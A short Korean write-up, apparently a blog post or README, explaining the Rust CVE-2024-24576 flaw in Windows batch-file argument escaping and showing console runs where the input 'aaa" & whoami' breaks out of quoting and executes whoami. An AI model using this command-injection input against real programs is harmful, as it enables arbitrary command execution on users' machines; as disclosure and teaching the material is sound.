
CVE-2024-24576 사용 사례 예시.
Command::arg 및 Command::args API는 문서에서 인수가 셸에 의해 해석되지 않고 인수의 내용과 관계없이 생성된 프로세스에 그대로 전달된다고 명시합니다. 이는 신뢰할 수 없는 입력을 인수로 전달해도 안전해야 함을 의미합니다.
Windows에서는 이 구현이 다른 플랫폼보다 더 복잡합니다. Windows API는 생성된 프로세스에 전달되는 모든 인수를 포함하는 단일 문자열만 제공하며, 이를 분할하는 것은 생성된 프로세스의 몫이기 때문입니다. 대부분의 프로그램은 표준 C 런타임 argv를 사용하며, 실제로는 인수가 대체로 일관된 방식으로 분할됩니다.
하지만 한 가지 예외는 cmd.exe입니다. cmd.exe는 무엇보다도 배치 파일을 실행하는 데 사용되며, 자체 인수 분할 논리를 가지고 있습니다. 이로 인해 표준 라이브러리는 배치 파일에 전달되는 인수에 대해 사용자 지정 이스케이프를 구현해야 했습니다. 불행하게도 우리의 이스케이프 논리가 충분히 철저하지 않아서 악의적인 인수를 전달하여 임의의 셸 명령을 실행할 수 있다는 보고가 있었습니다.
다음 페이로드로 main.rs 파일을 실행하면 다음과 같은 결과가 나옵니다.
C:\Users\frost\testing>cargo run
Compiling testing v0.1.0 (C:\Users\frost\testing)
Finished dev [unoptimized + debuginfo] target(s) in 0.49s
Running `target\debug\testing.exe`
enter payload here
aaa
Output:
Argument received: aaa
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa & whoami
Output:
Argument received: "aaa & whoami"
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa" & whoami
Output:
Argument received: "aaa\"
desktop-8j2vk8b\frost
탈출된 인자와 " whoami에 주목하세요.
제가 발견한 것이 아닙니다!